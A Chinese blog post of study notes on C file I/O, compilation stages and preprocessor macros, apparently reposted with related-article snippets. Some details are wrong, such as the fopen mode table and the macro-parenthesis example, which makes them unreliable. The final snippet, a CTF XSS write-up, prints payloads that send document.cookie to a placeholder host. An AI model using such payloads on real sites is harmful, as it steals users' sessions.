关于我的编程语言——C/C++——第七篇(深入4)

news2024/11/25 18:47:00

(叠甲:如有侵权请联系,内容都是自己学习的总结,一定不全面,仅当互相交流(轻点骂)我也只是站在巨人肩膀上的一个小卡拉米,已老实,求放过)

什么是文件?

磁盘上的文件是文件,在设计程序中,一般谈论的文件有两种,程序文件、数据文件

程序文件

包括源程序文件(后缀为.c),目标文件(window环境后缀为.obj),可执行程序(window)环境后缀为.exe)。

数据文件

文件的内容不一定是程序,而是程序运行时读写的数据,比如程序运行需要从中读取数据的文件,或者输出内容的文件。

一下内容主要介绍数据文件

文件名

一个文件要有唯一的文件标识,以便用户识别和引用,文件名包括3部分:文件路径+文件名主干+文件后缀,比如:C\code\test.txt 。

文件类型

根据数据的组织形式,数据文件被称为文本文件或者二进制文件,数据在内存中以二进制的形式存储,如果不加转换的输出到外存,就是二进制文件。如果要求在外存上以ASCll码的形式存储,则需要在存储前转换,以ASCll字符形式存储文件就是文本文件。

数据在内存中的存储形式

字符一律以ASCll形式存储,数值型数据即可以用ASCll形式存储,也可以使用二进制形式存储。如有整数10000,如果以ASCll码的形式输出到磁盘,则磁盘中占用5个字节(每个字符一个字节),而二进制形式输出,则在磁盘上只占4个字节。

 例

#include <stdio.h>
int main()
{
	int a = 10000;
	FILE* pf = fopen("test.txt", "wb");
	fwrite(&a, 4, 1, pf);//二进制的形式写到文件中
	fclose(pf);
	pf = NULL;
	return 0;
}

文件缓冲区

ANSIC标准采用“缓冲文件系统”处理的数据文件的,所谓缓冲文件系统是指自动地在内存中为程序中每一个正在使用的文件开辟一块“文件缓冲区”,从内存向磁盘输出数据会先送到内存中的缓冲区,装满缓冲区后才一起送出磁盘上,如果从磁盘向计算机读入数据,则从磁盘文件中读取数据输入到内存缓冲区(充满缓冲区),然后再从缓冲区逐个的将数据送到程序数据区(程序变量等),缓冲区的大小根据C编译系统决定的。

文件指针

缓冲文件系统,关键的概念是“文件类型指针”,简称“文件指针”,每个被使用的文件都在内存中开辟了一个相应的文件信息区,用来存放文件的相关信息(如文件的名字,文件状态及文件当前的位置等)。这些信息是保存在一个结构体变量中的,该结构体类型是有系统声明的,取名FILE;

struct _iobuf {
        char *_ptr;
        int   _cnt;
        char *_base;
        int   _flag;
        int   _file;
        int   _charbuf;
        int   _bufsiz;
        char *_tmpfname;
       };
typedef struct _iobuf FILE;//vs2008环境提供的stdio.h文件中的文件类型声明

不同的C编译器的FILE类型包含的内容不完全相同,但是大同小异,每当打开一个文件的时候,系统会根据文件的情况自动创建一个FILE结构的变量,并填充其中的信息,使用者不必关心细节。一般都是通过一个FILE的指针来维护这个FILE结构的变量,这样使用起来更加方便。

例子:

FILE* pf;//文件指针变量

定义pf是一个指向FILE类型的指针变量,可以使pf指向某个文件的文件信息(是一个结构体变量)。通过该文件信息区就可以访问该文件,通过文件指针变量能够找到与它关联的文件。

文件的打开和关闭

文件在读写之前应该打开文件,在使用结束之后应该关闭文件,在编写程序的时候,在打开文件的同时,都会返回一个FILE*的指针变量指向该文件,也相当于建立了指针和文件的关系。ANSIC规定使用fopen函数来打开文件,fclose来关闭文件。

语法

FILE * fopen ( const char * filename, const char * mode );
int fclose ( FILE * stream );

打开方式如下

文件使用方式含义如果指定文件不存在
“r”(只读)为了输入数据,打开一个已经存在的文本文件出错
“w”(只读)为了输出数据,打开一个文本文件建立一个新的文件
“a”(追加)向文本文件尾添加数据出错
“rb”(只读)为了输入数据,打开一个二进制文件出错
“wb”(只写)为了输出数据,打开一个二进制文件建立一个新的文件
“ab”(追加)向一个二进制文件尾添加数据出错
“r+”(读写)为了读和写,打开一个文本文件出错
“w+”(读写)为了读和写,建一个新的文件夹建立一个新的文件夹
“a+”(读写)打开一个文件,在文件尾进行读写建立一个新的文件
“rb+”(读写)为了读和写打开一个二进制文件出错
“wb”(读写)为了读和写,新建一个新的二进制文件建立一个新的文件
“ab+”(读写)打开一个二进制文件,在文件尾进行读和写建立一个新的文件

#include <stdio.h>
int main()
{
	FILE* pFile;
	pFile = fopen("myfile.txt", "w");
	if (pFile != NULL)
	{
		fputs("fopen example", pFile);
		fclose(pFile);
	}
	return 0;
}

文件的顺序读写

功能函数名适用于
字符输入函数fgetc所有输入流
字符输出函数fputc所有输出流
文本行输入函数fgets所有输入流
文本输出函数fputs所有输出流
格式化输入函数fscanf所有输入流
格式化输出函数fprintf所有输出流
二进制输入fread文件
二进制输出fwrite文件

文件的随机读写

fseek

根据文件指针的位置和偏移量来定位指针文件

语法

int fseek ( FILE * stream, long int offset, int origin );
#include <stdio.h>
int main()
{
	FILE* pFile;
	pFile = fopen("example.txt", "wb");
	fputs("This is an apple.", pFile);
	fseek(pFile, 9, SEEK_SET);
	fputs(" sam", pFile);
	fclose(pFile);
	return 0;
}
ftell

返回文件指针相对于起始位置的偏移量

语法:

long int ftell ( FILE * stream );

#include <stdio.h>
int main()
{
	FILE* pFile;
	long size;
	pFile = fopen("myfile.txt", "rb");
	if (pFile == NULL) perror("Error opening file");
	else
	{
		fseek(pFile, 0, SEEK_END);// non-portable
		size = ftell(pFile);
		fclose(pFile);
		printf("Size of myfile.txt: %ld bytes.\n", size);
	}
	return 0;
}
rewind

让文件指针的位置回到文件的起始位置

语法

void rewind ( FILE * stream );

#include <stdio.h>
int main()
{
	int n;
	FILE* pFile;
	char buffer[27];
	pFile = fopen("myfile.txt", "w+");
	for (n = 'A'; n <= 'Z'; n++)
		fputc(n, pFile);
	rewind(pFile);
	fread(buffer, 1, 26, pFile);
	fclose(pFile);
	buffer[26] = '\0';
	puts(buffer);
	return 0;
}

文件结束判断

在文件读取过程中,不能用feof函数的返回值直接用来判断文件的是否结束,而是应用于当文件读取结束的时候,判断是读取失败结束,还是遇到文件尾结束。

1)文本文件读取是否结束,判断返回值是否尾EOF(fgetc),或者NULL(fgets)

例如:

        fgetc判断是否为EOF;

        fgets判断返回值是否为NULL;

1)二进制文件的读取结束判断,判断返回值是否小于实际要读的个数。

例如:

        fread判断返回值是否小于实际要读的个数。

文本文件的例子:

#include <stdio.h>
#include <stdlib.h>
int main(void)
{
	int c; // 注意:int,非char,要求处理EOF
	FILE* fp = fopen("test.txt", "r");
	if (!fp) {
		perror("File opening failed");
		return EXIT_FAILURE;
	}
	//fgetc 当读取失败的时候或者遇到文件结束的时候,都会返回EOF
	while ((c = fgetc(fp)) != EOF) // 标准C I/O读取文件循环
	{
		putchar(c);
	}
	//判断是什么原因结束的
	if (ferror(fp))
		puts("I/O error when reading");
	else if (feof(fp))
		puts("End of file reached successfully");
	fclose(fp);
}

二进制文件的例子

#include <stdio.h>
#include <stdlib.h>
enum { SIZE = 5 };
int main(void)
{
	double a[SIZE] = { 1.0,2.0,3.0,4.0,5.0 };
	double b = 0.0;
	size_t ret_code = 0;
	FILE* fp = fopen("test.bin", "wb"); // 必须用二进制模式
	fwrite(a, sizeof(*a), SIZE, fp); // 写 double 的数组
	fclose(fp);
	fp = fopen("test.bin", "rb");
	// 读 double 的数组
	while ((ret_code = fread(&b, sizeof(double), 1, fp)) >= 1)
	{
		printf("%lf\n", b);
	}
	if (feof(fp))
		printf("Error reading test.bin: unexpected end of file\n");
	else if (ferror(fp)) {
		perror("Error reading test.bin");
	}
	fclose(fp);
	fp = NULL;
}

程序的翻译环境和执行环境

在ANSI的任何一种实现中,存在两个不同的环境

第一种是翻译环境,在这个环境中源代码被转换为可执行的机器指令,第二种是执行环境,它用于实际执行代码。

详解编译+链接

翻译环境

1)组成一个程序的每个源文件通过编译过程分别转换成目标代码(object code);

2)每个目标文件由链接器(linker)捆绑在一起,形成一个单一而完整的可执行程序;

3)链接器同时也会引入标准C函数库中任何被该程序所用到的函数,而且它可以搜索程序员个人的程序库,将其需要的函数也链接到程序中;

 编译本来也分几个阶段

sum.c

int g_val = 2016;
void print(const char* str)
{
	printf("%s\n", str);
}

test.c

#include <stdio.h>
int main()
{
	extern void print(char* str);
	extern int g_val;
	printf("%d\n", g_val);
	print("hello bit.\n");
	return 0;
}

1)预处理选项gcc - E test.c -o test.i预处理完成之后就停下来,预处理之后产生的结果都放在test.i文件中;

2)编译选项gcc - S test.c 编译完成之后就停下来,结果保存在test.s中;

3)汇编gcc -c test.c 汇编完成之后就停下来,结果保存在test.o中;

运行环境

1)程序必须载入内存中,在有操作系统的环境中,一般这个由操作系统完成,在独立的环境中,程序的载入必须由手工安排,也可能是通过可执行代码置入只读内存来完成;程序的执行便开始,接着便调用main函数;

2)开始执行程序代码,这个时候程序将使用一个运行时堆栈(stack),存储函数的局部变量和返回地址,程序同时也可以使用静态(static)内存,存储于静态内存中的变量在程序的执行过程一直保留它们的值;

3)终止程序,正常终止main函数;也有可能时意外终止;

预处理详解

预处理符号
__FILE__      //进行编译的源文件
__LINE__     //文件当前的行号
__DATE__    //文件被编译的日期
__TIME__    //文件被编译的时间
__STDC__    //如果编译器遵循ANSI C,其值为1,否则未定义

这些预定义符号都是语言内置的,举个例子:

#include<stdio.h>

int main()
{
	printf("file:%s line:%d\n", __FILE__, __LINE__);
	return 0;
}

 #define

语法:

#define name stuff

例子:

define MAX 1000
#define reg register          //为 register这个关键字,创建一个简短的名字
#define do_forever for(;;)     //用更形象的符号来替换一种实现
#define CASE break;case        //在写case语句的时候自动把 break写上。
// 如果定义的 stuff过长,可以分成几行写,除了最后一行外,每行的后面都加一个反斜杠(续行符)。
#define DEBUG_PRINT printf("file:%s\tline:%d\t \
                          date:%s\ttime:%s\n" ,\
                          __FILE__,__LINE__ ,       \
                          __DATE__,__TIME__ )

注:#define定义标识符的时候,在最后不能加分号,容易导致问题;

例:

#include<stdio.h>
#define MAX 1000;
//#define MAX 1000

int main()
{
	int a = 10;
	int max = 0;
	if (a)
		max = MAX;
	else
		max = 0;
	return 0;
}

 #define 机制包括了一个规定,运行把参数替换到文本中,这种实现通常称为宏(macro)或定义宏(define macro)

宏的声明方式

#define name(parament-list)stuff其中的parament-list是一个由逗号隔开的符号表,它们可能出现在stuff。

注:参数列表的左括号必须与name紧邻,如果两者之间有任何空白存在,参数列表就会被解释为stuff的一部分;

宏定义经典错误点
#define SQUARE( x ) x * x

这样的宏存在一个问题

例:

int a = 5;
printf("%d\n" ,SQUARE( a + 1) );

替换文本时,参数x被替代成了a+1,所以这条语句实际上变成了:printf("%d\n",a+1*a+1);由于替换产生的表达式并没有按照预想的次序进行求值;

在宏定义上加两个括号,这个问题就轻松解决了;

#define SQUARE(x) (x) * (x)

不过这样就出了新的问题

int a = 5; 
printf("%d\n" ,10 * SQUARE(a));

替换之后

printf ("%d\n",10 * (5) + (5));

这样就只有再加一对括号了

#define DOUBLE( x) ( ( x ) + ( x ) )

所以用于对数值表达式进行求值的宏定义都应该用这种方式加上括号,避免在使用宏时由于参数中的操作符或邻近操作符之间不可预料的相互作用;

#define 替换规则

在程序中扩展#define定义符号和宏时,需要涉及几个步骤

1)在调用宏时,首先对参数进行检查,看看是否包含任何由#define定义的符号,如果是,它们首先被替换;

2)替换文本随后被插入到程序中原来文本的位置,对于宏,参数名被他们的值替换;

3)最后再次对结果文件进行扫描,看看它是否包含任何由#define定义的符号,如果是,就重复上述处理过程;

注:

1)宏参数和#defne定义中可以出现其他#define定义的变量,但是对于宏,不能出现递归;

2)当预处理器搜索#define定义的符号的时候,字符串常量的内容并不被搜索;

#和##

例:

#include<stdio.h>
int i = 10;
#define PRINT(FORMAT, VALUE)\ 
		printf("the value of "#VALUE "is "FORMAT "\n", VALUE)

int main()
{
	PRINT("%d", i + 3);//产生了什么效果?
	return 0;
}

"VALUE"最终的输出结果应是:

the value of i+3 is 13 
##的作用

##可以把位于它两边的符号合成一个符号,它允许宏定义从分离的文本片段创建标识符;

例:

#define ADD_TO_SUM(num, value) 
 sum##num += value

ADD_TO_SUM(5, 10);//作用是:给sum5增加10.
带副作用的宏参数

当宏参数在宏定义中出现超过一次的时候,那么这个在使用的宏就可能出现危险,导致不可预测的后果,副作用就是表达式求值的时候出现的永久性效果;

例:

x+1;//不带副作用
x++;//带有副作用
#define MAX(a, b) ( (a) > (b) ? (a) : (b) ) 

x = 5; 
y = 8; 
z = MAX(x++, y++); 
z = ( (x++) > (y++) ? (x++) : (y++));
printf("x=%d y=%d z=%d\n", x, y, z);//输出的结果是什么?
宏和函数对比

宏通常被应用与执行简单的运算,比如在两个数找出较大的值。

#define MAX(a, b) ((a)>(b)?(a):(b))
宏的优势

1)用于调用函数和从函数返回的代码可能比实际执行这个小型计算机工作所需要的时间更多,所以宏比函数在程序的规模和速度方面更胜一筹;

2)更为重要的是函数的参数必须声明为特定的类型,所以函数只能在类型合适的表达式上使用,宏可以适用于整型、长整型、浮点数等可以用于>来比较的类型,宏是类型无关的;

宏的劣势

1)每次使用宏的时候,一份宏定义的代码将插入到程序中,除非宏比较短,否则可能大幅度增加程序的长度。

2)宏是没法调试;宏由于类型无关,也就不够严谨;宏可能会带来运算符优先级的问题,导致容易出错;

宏可以做到函数做不到的事情,比如:宏的参数可以出现类型,但是函数做不到

#define MALLOC(num, type)\ 
 (type *)malloc(num * sizeof(type)) 
... 
//使用
MALLOC(10, int);//类型作为参数
//预处理器替换之后:
(int *)malloc(10 * sizeof(int));
宏和函数的对比
属性#define定义宏函数
代码长度每次使用时,宏代码都会被插入到程序中,除了非常小的宏之外,程序的长度会大幅度增加函数代码只出现于一个地方,每次使用这个函数时,都调用哪个地方的同一份代码
执行速度更快存在函数的调用和返回的额外开销,所以相对慢一些
操作符优先级宏参数的求值在所有周围表达式的上下文环境里,除非加上括号,否则邻近操作符的优先级可能会产生不可预料的后果,所以建议宏在书写的时候多些括号函数参数只在函数调用的时候哦求值一次,它的结果值传递给函数,表达式的求值结果更容易预测
带副作用的参数参数可能被替换到宏体中的多个位置,所以带有副作用的参数求值可能产生不可预测的结果函数参数只在传参的时候求值一次,结果更容易控制
参数类型宏的参数与类型无关,只要对参数的操作是合法的,它就可以使用任何参数类型函数的参数是与类型有关的,如果参数的类型不同,就需要不同的函数,即使他们执行的任务是不同的
调试宏是不方便调试的函数是可以逐语句调试的
递归宏是不能递归的函数是可以递归的

命名约定

一般来说函数的宏的使用语法很相似,所以语言本身没法帮我们区分二者,那我们平时的一个习惯是:把宏名全部大写,函数名不要全部大写;

#undef

这条指令用于移除一个宏定义

例:

#undef NAME 
//如果现存的一个名字需要被重新定义,那么它的旧名字首先要被移除。

命名行定义

许多C的编译器提供了一种能力,允许在命令行中定义符号,用于启动编程用例。例:当我们根据同一个源文件要编译出不同的一个程序的不同版本的时候,这个特性就很有用,(假定某个程序中声明了一个某长度的数组,如果机器内存有限,我们需要一个很小的数组,但是另外一个机器内存大些,我们需要的数组也可以大些。)

#include <stdio.h> 
int main()
{
	int array[ARRAY_SIZE];
	int i = 0;
	for (i = 0; i < ARRAY_SIZE; i++)
	{
		array[i] = i;
	}
	for (i = 0; i < ARRAY_SIZE; i++)
	{
		printf("%d ", array[i]);
	}
	printf("\n");
	return 0;
}

编译指令:

gcc -D ARRAY_SIZE=10 programe.c

条件编译

在编译一个程序的时候我们如果要将一条语句(一组语句)编译或者放弃是很方便的,因为我们有条件编译指令。

例:
调试的代码,删除很可惜,保留又碍事,所以我们可以选择性的编译

#include <stdio.h>
#define __DEBUG__ 
int main()
{
	int i = 0;
	int arr[10] = { 0 };
	for (i = 0; i < 10; i++)
	{
		arr[i] = i;
#ifdef __DEBUG__ 
		printf("%d\n", arr[i]);//为了观察数组是否赋值成功。 
#endif //__DEBUG__ 
	}
	return 0;
}
常见的条件编译指令:
1.
#if 常量表达式
//... 
#endif 
//常量表达式由预处理器求值。
如:
#define __DEBUG__ 1 
#if __DEBUG__ 
//.. 
#endif 
2.多个分支的条件编译
#if 常量表达式
//... 
#elif 常量表达式
//... 
#else 
//... 
#endif 
3.判断是否被定义
#if defined(symbol) 
#ifdef symbol 
#if !defined(symbol) 
#ifndef symbol 
4.嵌套指令
#if defined(OS_UNIX) 
#ifdef OPTION1 
unix_version_option1();
#endif 
#ifdef OPTION2 
unix_version_option2();
#endif 
#elif defined(OS_MSDOS) 
#ifdef OPTION2 
msdos_version_option2();
#endif 
#endif

文件包含

我们已经知道,#inclulde指令可以使用另外一个文件被编译,就像它实际出现于#include指令的地方一样,这种替换的方式很简单,预处理器先删除这条指令,并用包含文件的内容替换,这样一个源文件被包含10次,那就实际被编译10次;

头文件被包含的方式

1)本地包含
#include "filename"

查找策略:现在源文本所在目录下查找,如果该头文件未找到,编译器就像查找库函数头文件一样在标准位置查找头文件,如果找不到就提示编译错误,linux环境的标准头文件的路径;

/usr/include

vs环境的标准头文件的路径

C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include
2)库文件包含
#include <filename.h>

查找头文件直接去标准路径下查找,如果找不到就提示编译错误,对于库文件也可以使用" "的形式包含,但是这样做查找的效率就低一些,并且这样也不容易区分是库文件还是本地文件了。

comm.h和comm.c是公共模板,test1.h和test2.c使用了公共模板,test2.c和test.h使用了公共模板,test.h和test.c使用了test1和模板test2模板,这样最终程序就会出现两份comm.h的内容,这样就造成了文件内容的重复,使用条件编译就可以解决这个问题 

#ifndef __TEST_H__ 
#define __TEST_H__ 
//头文件的内容
#endif //__TEST_H__
或者
#pragma once

这样就可以避免头文件的重复引用

over ,see you next time!

最近在实习,更新的比较慢,溜溜溜……

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2236558.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【深度学习遥感分割|论文解读7】UNetFormer:一种类UNet的Transformer,用于高效的遥感城市场景图像语义分割

【深度学习遥感分割|论文解读7】UNetFormer&#xff1a;一种类UNet的Transformer&#xff0c;用于高效的遥感城市场景图像语义分割 【深度学习遥感分割|论文解读7】UNetFormer&#xff1a;一种类UNet的Transformer&#xff0c;用于高效的遥感城市场景图像语义分割 文章目录 【…

wget命令之Tomcat(三)

引言 Tomcat是一个开源的Java Web应用服务器&#xff0c;实现了多个关键的Java EE规范&#xff0c;包括Servlet、JSP&#xff08;JavaServer Pages&#xff09;、JavaWebSocket等。由于Tomcat技术先进、性能稳定且免费&#xff0c;它成为了许多企业和开发者的首选Web应用服务器…

如何在Linux中使用Cron定时执行SQL任务

文章目录 前言一、方案分析二、使用步骤1.准备脚本2.crontab脚本执行 踩坑 前言 演示数据需要每天更新监控数据&#xff0c;不想手动执行&#xff0c;想到以下解决方案 navicat 创建定时任务java服务定时执行linux crontab 定时执行sql脚本 一、方案分析 我选择了第三个方案…

CISCO产品介绍

思科防火墙是由全球领先的网络解决方案提供商思科&#xff08;Cisco&#xff09;公司研发和生产的一系列网络安全设备。 思科的产品和服务涵盖了多个领域&#xff0c;包括但不限于&#xff1a; 网络硬件&#xff1a;思科的路由器和交换机是其核心产品&#xff0c;广泛应用于企…

机器学习(一)——基本概念、模型的评估与选择

目录 1 关于2 概念2.1 基础概念2.2 学习过程2.3 预测与评估2.4 标记与分类2.4.1 标记2.4.2 分类 2.5 回归分析2.6 聚类分析2.7 学习类型2.8 泛化能力2.9 统计学概念 3 模型评估与选择3.1 经验误差与过拟合3.2 评估方法3.2.1 留出法3.2.2 交叉验证法3.2.3 自助法3.2.4 调参与最终…

第三十五章 Vue路由进阶之声明式导航(跳转传参)

目录 一、引言 二、查询参数传参 2.1. 使用方式 2.2. 完整代码 2.2.1. main.js 2.2.2. App.vue 2.2.3. Search.vue 2.2.4. Home.vue 2.2.5. index.js 三、动态路由传参 3.1. 使用方式 3.2. 完整代码 3.2.1. main.js 3.2.2. App.vue 3.2.3. Search.vue 3.2.4. Hom…

通过pin_memory 优化 PyTorch 数据加载和传输:工作原理、使用场景与性能分析

在 PyTorch 框架中,有一个看似简单的设置可以对模型性能产生重大影响: pin_memory。这个设置具体起到了什么作用,为什么需要关注它呢?如果你正在处理大规模数据集、实时推理或复杂的多 GPU 训练任务,将 pin_memory设为 True可以提高 CPU 与 GPU 之间的数据传输速度,有可能节…

博达S3956交换机批量配置接口导致设备重启

文章目录 现象厂家查看信息如下解决方法 现象 设备信息 交换机型号&#xff1a;博达S3956版本&#xff1a;2.2.0F Build 101150ROM版本&#xff1a;0.1.8 配置命令 interface range GigaEthernet0/1-40switchport pvid 10设备重启&#xff0c;配置未生效&#xff08;批量配置…

【Linux】Ansible集中化运维工具(详解)安装、常用模块、playbook脚本

文章目录 一、Ansible安装及远程控制1、关闭防火墙和SELinux2、安装ansible3、配置SSH无密码登录1、在管理机上生成一对密钥2、将公钥下发到远程主机3、保管密钥 4、主机目录 二、常用模块1、setup模块2、copy模块3、file模块4、shell模块5、script模块6、ping模块7、group模块…

Mysql学习笔记(一):Mysql的架构

一、mysql的组成部分 下面是来自Mysql实战的图片&#xff0c;该图片很好的表示了mysql的组成 mysql架构图 我们主要是和server层打交道&#xff0c;该层由连接器&#xff0c;分析器&#xff0c;优化器执行器、&#xff08;查询缓存&#xff09;组成 二、连接器的作用 每个客户端…

题目:Wangzyy的卡牌游戏

登录 - XYOJ 思路&#xff1a; 使用动态规划&#xff0c;设dp[n]表示当前数字之和模三等于0的组合数。 状态转移方程&#xff1a;因为是模三&#xff0c;所以和的可能就只有0、1、2。等号右边的f和dp都表示当前一轮模三等于k的组合数。以第一行为例&#xff1a;等号右边表示 j转…

【实验10】卷积神经网络(1)卷积算子

目录​​​​​​​ 1 自定义二维卷积算子 2 自定义带步长和零填充的二维卷积算子 3 实现图像边缘检测 4 自定义卷积层算子和汇聚层算子 4.1卷积层&#xff1a; 4.2 汇聚层&#xff1a; 5 学习torch.nn.Conv2d()、torch.nn.MaxPool2d()&#xff1b;torch.nn.avg_pool2d()&…

基于springboot信用分析管理系统设计与实现

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下&#xff0c;你想解决的问…

用JavaScript、Nodejs写一个本地tcp服务,用于前端WebSocket调试

效果&#xff1a; 准备工作&#xff1a; 新建一个文件夹&#xff0c;在根目录安装依赖&#xff1a; npm install ws express 依赖介绍&#xff1a; WS是一个轻量级、高效的WebSocket库&#xff0c;适用于Node.js环境。 express 是一个流行的Node.js Web应用程序框架。 新…

golang分布式缓存项目 Day 1

注&#xff1a;该项目原作者&#xff1a;https://geektutu.com/post/geecache-day1.html。本文旨在记录本人做该项目时的一些疑惑解答以及部分的测试样例以便于本人复习。 LRU缓存淘汰策略 三种缓存淘汰策略 FIFO&#xff08;First In, First Out&#xff09;先进先出 原理&…

论文阅读笔记:Depth Pro: Sharp Monocular Metric Depth in Less Than a Second

论文阅读笔记&#xff1a;Depth Pro: Sharp Monocular Metric Depth in Less Than a Second 1 背景1.1 动机1.2 提出的方法 2 创新点3 方法4 模块4.1 训练目标4.2 课程训练 4.3 边缘评价指标4.4 焦距估计 5 效果5.1 和SOTA方法的对比 论文&#xff1a;https://arxiv.org/abs/24…

Python练习13

Python日常练习 题目&#xff1a; 请编写fun函数&#xff0c;其功能是打印杨辉三角形。杨辉三角行如图所示&#xff1a; 1 1 1 1 2 1 1 3 3 1 1 4 6 4 1 要求&#xff1a; 采用列表函数完成 -----------------------------------…

第18篇 :深入剖析systemverilog中 randomize 失败案例启示录(一)

经过前面章节的理论学习&#xff0c;我们对systemverilog中的随机约束&#xff0c;有一定的了解&#xff0c;那么&#xff0c;今天开始&#xff0c;着重讲述一些工作中遇到的困惑。主要通过一些例子&#xff0c;层层递进&#xff0c;举一反三&#xff0c;源于实践&#xff0c;剖…

ArcGIS软件之“计算面积几何”地图制作

一、消防站的泰森多边形 效果图&#xff1a; 二、人口调查的泰森多边形 确定后效果图&#xff1a; 三、人口调查的泰森多边形属性设置 确定后的效果图&#xff1a; 四、计算面积几何&#xff0c;用于求密度 先添加字段area_1&#xff0c;然后设置浮点型及字段属性 五…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…